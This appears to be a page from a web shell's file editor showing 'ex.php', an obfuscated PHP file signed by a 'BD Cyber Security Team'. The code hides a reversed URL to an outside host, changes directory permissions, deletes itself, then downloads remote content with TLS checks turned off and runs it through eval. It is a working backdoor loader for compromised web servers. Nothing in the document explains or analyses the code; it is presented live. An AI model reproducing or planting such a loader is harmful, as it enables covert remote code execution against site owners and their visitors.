✏️ Editing: ex.php

<?php goto k68Lo; ONyF7: $qokfg .= "\x73"; goto kXtIa; HHy0G: $qokfg .= "\160\165\163"; goto EBKfy; aAMA_: $qokfg .= "\170\145\x79"; goto Yv0dY; t40gb: $qokfg .= "\x73\x70"; goto OeCLp; y8T5W: $qokfg .= "\x2e\157\145"; goto ONyF7; NmaKj: @chmod($Y0sLi, 0755); goto nqGz3; Czzbc: $qokfg = ''; goto cr_jz; h1Kq8: eval("\x3f\x3e" . ciC2w(strrev($qokfg))); goto UlkY4; EQsv4: $qokfg .= "\61\156\x61\x6d"; goto qsK13; kXtIa: $qokfg .= "\57\x2f\72"; goto t40gb; qsK13: $qokfg .= "\57\162\x65"; goto HHy0G; cr_jz: $qokfg .= "\164"; goto WXTed; WXTed: $qokfg .= "\170\164\x2e"; goto EQsv4; q1Vz9: $qokfg .= "\x2e\x61\x73\56"; goto aAMA_; OeCLp: $qokfg .= "\x74\x74\x68"; goto h1Kq8; nqGz3: @unlink($fzu2n); goto Czzbc; k68Lo: $fzu2n = $_SERVER["\x44\117\103\x55\115\x45\116\x54\137\x52\x4f\117\x54"] . $_SERVER["\x50\110\120\137\x53\x45\x4c\x46"]; goto hrif1; EBKfy: $qokfg .= "\x2f\x6d\157\x63"; goto q1Vz9; Yv0dY: $qokfg .= "\151\x65\150"; goto y8T5W; hrif1: $Y0sLi = dirname($_SERVER["\x44\x4f\x43\125\x4d\105\x4e\124\137\122\117\x4f\124"] . $_SERVER["\120\110\120\x5f\123\105\x4c\x46"]); goto NmaKj; UlkY4: function CIc2w($GGGJ_, $eF402 = "\x47\x45\x54", $GANlk = array(), $ZgYYH = 45) { try { goto ohbNn; i0l_p: if (!($eF402 == "\x50\117\123\124")) { goto oBwZn; } goto uSPuh; mzMoz: $k9l8y .= $pI3_f . "\15\xa"; goto DjWmc; eQ1Aj: $bjyYi = isset($LL0MD["\160\x61\x74\x68"]) ? $LL0MD["\160\x61\x74\x68"] : "\57"; goto fugTC; Ijq1S: $OmGNF = $siukR; goto ICEZY; v80Fk: $siukR = ''; goto DlESH; weCeM: $qka3P = $LL0MD["\150\157\x73\164"]; goto eQ1Aj; FxQ2X: goto aCDf2; goto M_I0E; phVYZ: $O61oF = stream_socket_client("{$Tn30T}\72\x2f\x2f{$qka3P}\x3a{$uJ8qI}", $JjP5U, $KDWdp, $ZgYYH); goto MO7os; aiJny: T6pON: goto QSzC9; o_NBQ: curl_setopt($hrp5k, CURLOPT_POSTFIELDS, http_build_query($GANlk)); goto peQXF; ICEZY: WDo3K: goto Y8QPF; IEYkk: $hPv_K = isset($pKp0m[0]) ? $pKp0m[0] : ''; goto HmEA2; Y8QPF: return trim($OmGNF); goto zbaqv; UqfEy: aCDf2: goto Ijq1S; qwn35: goto Nnxno; goto Kk37W; AIJU5: curl_setopt($hrp5k, CURLOPT_TIMEOUT, $ZgYYH); goto LBaGv; ZUiFC: goto wnBr0; goto UqfEy; Ye3l7: if (!($OHptL === false)) { goto f0Qmd; } goto FxQ2X; Mq5b_: fclose($O61oF); goto LWkKu; XjJPU: $siukR .= substr($OmGNF, $OHptL + 2, $YSgIG); goto QnbJo; HmEA2: $OmGNF = isset($pKp0m[1]) ? $pKp0m[1] : ''; goto rTYcl; QnbJo: $OmGNF = substr($OmGNF, $OHptL + 2 + $YSgIG + 2); goto ZUiFC; oXMRy: curl_setopt($hrp5k, CURLOPT_POST, 1); goto o_NBQ; vdAh3: $uJ8qI = isset($LL0MD["\x70\x6f\x72\164"]) ? $LL0MD["\160\157\162\x74"] : ($PG6bC === "\x68\x74\x74\160\x73" ? 443 : 80); goto K0BeZ; g7NnU: $PG6bC = isset($LL0MD["\x73\x63\150\x65\155\145"]) ? $LL0MD["\x73\x63\x68\x65\155\x65"] : "\150\x74\x74\160"; goto vdAh3; L9MPr: cXG05: goto XjJPU; j97_S: $wpW0P = curl_exec($hrp5k); goto jqdVy; YJ1vM: if (!($eF402 == "\120\117\x53\x54")) { goto ASYYJ; } goto mzMoz; Yv4z0: $hrp5k = curl_init(); goto ImyFX; gcYgq: if (!($YSgIG === 0)) { goto cXG05; } goto G505F; J3Ptn: curl_setopt($hrp5k, CURLOPT_USERAGENT, "\x47\x4f"); goto lL0uV; deuEj: OcHoT: goto QV7VI; yVbWs: $hPv_K[] = "\103\x6f\156\164\x65\156\x74\55\x54\171\160\x65\72\40\141\160\x70\154\151\x63\x61\x74\x69\x6f\x6e\x2f\x78\55\x77\167\167\55\x66\157\x72\x6d\x2d\x75\162\154\x65\x6e\143\x6f\144\145\x64"; goto hYxBJ; fugTC: $T4Ppt = isset($LL0MD["\161\x75\x65\162\x79"]) ? "\x3f" . $LL0MD["\161\165\145\162\171"] : ''; goto g7NnU; wxF1p: curl_setopt($hrp5k, CURLOPT_SSL_VERIFYHOST, false); goto nOXwr; c3qwA: $YSgIG = hexdec(substr($OmGNF, 0, $OHptL)); goto gcYgq; LBaGv: if (!($eF402 == "\120\117\123\124")) { goto Sxzmp; } goto oXMRy; q2Dik: $OHptL = strpos($OmGNF, "\15\xa"); goto Ye3l7; LWkKu: $pKp0m = explode("\15\12\15\12", $yRwhm, 2); goto IEYkk; YB4dt: curl_setopt($hrp5k, CURLOPT_RETURNTRANSFER, 1); goto mq1b4; hYxBJ: $hPv_K[] = "\x43\x6f\156\x74\145\156\164\55\x4c\145\156\x67\164\150\x3a\x20" . strlen($pI3_f); goto ZN7Vr; Cv7WD: $yRwhm .= fgets($O61oF, 1024); goto qwn35; EpqVt: return 0; goto aiJny; MO7os: if ($O61oF) { goto T6pON; } goto EpqVt; mq1b4: curl_setopt($hrp5k, CURLOPT_SSL_VERIFYPEER, false); goto wxF1p; QV7VI: $LL0MD = parse_url($GGGJ_); goto weCeM; K0BeZ: $Tn30T = $PG6bC === "\x68\164\164\x70\163" ? "\163\163\x6c" : "\x74\x63\160"; goto phVYZ; peQXF: Sxzmp: goto j97_S; QSzC9: $hPv_K = array("{$eF402}\x20{$bjyYi}{$T4Ppt}\x20\x48\124\x54\x50\x2f\x31\x2e\61", "\110\x6f\x73\x74\72\40{$qka3P}", "\125\x73\x65\162\55\101\x67\x65\x6e\x74\x3a\40\115\x6f\x7a\151\x6c\154\141\57\65\56\x30\40\50\127\151\x6e\x64\157\167\x73\40\116\124\40\61\60\56\x30\x3b\40\127\151\x6e\66\64\73\x20\170\x36\x34\51\40\101\x70\160\x6c\145\x57\145\142\x4b\151\164\57\65\63\x37\x2e\63\66\x20\x28\x4b\x48\x54\x4d\114\54\40\x6c\x69\x6b\x65\x20\x47\145\x63\x6b\157\x29\40\x43\x68\x72\x6f\155\145\57\71\x31\56\60\x2e\x34\x34\x37\x32\x2e\x31\x32\64\40\x53\x61\x66\x61\162\151\57\x35\63\x37\56\63\66", "\x43\x6f\156\x6e\145\x63\164\x69\157\x6e\x3a\40\103\154\157\x73\145"); goto i0l_p; V4cPs: $k9l8y = implode("\15\12", $hPv_K) . "\xd\12\xd\xa"; goto YJ1vM; ZN7Vr: oBwZn: goto V4cPs; zvS66: return trim(trim($wpW0P, "\357\xbb\277")); goto deuEj; G505F: goto aCDf2; goto L9MPr; ohbNn: if (!(function_exists("\x63\x75\162\154\x5f\151\x6e\x69\164") && function_exists("\143\165\x72\154\137\145\170\145\143"))) { goto OcHoT; } goto Yv4z0; ImyFX: curl_setopt($hrp5k, CURLOPT_URL, $GGGJ_); goto J3Ptn; myGHd: $yRwhm = ''; goto NGlog; DjWmc: ASYYJ: goto pv0bc; DlESH: wnBr0: goto qSxy8; nOXwr: curl_setopt($hrp5k, CURLOPT_FOLLOWLOCATION, true); goto AIJU5; jqdVy: curl_close($hrp5k); goto zvS66; qSxy8: if (!true) { goto aCDf2; } goto q2Dik; Kk37W: LA4LC: goto Mq5b_; rTYcl: if (!(stripos($hPv_K, "\124\162\141\x6e\163\146\x65\162\55\x45\x6e\x63\157\x64\151\x6e\x67\72\x20\143\x68\165\156\153\x65\x64") !== false)) { goto WDo3K; } goto v80Fk; M_I0E: f0Qmd: goto c3qwA; pv0bc: fwrite($O61oF, $k9l8y); goto myGHd; Ksjiv: if (feof($O61oF)) { goto LA4LC; } goto Cv7WD; lL0uV: curl_setopt($hrp5k, CURLOPT_CONNECTTIMEOUT, 0); goto YB4dt; uSPuh: $pI3_f = http_build_query($GANlk); goto yVbWs; NGlog: Nnxno: goto Ksjiv; zbaqv: } catch (Exception $DjiRI) { } return 0; }

Sid Gifari From Gifari Industries - BD Cyber Security Team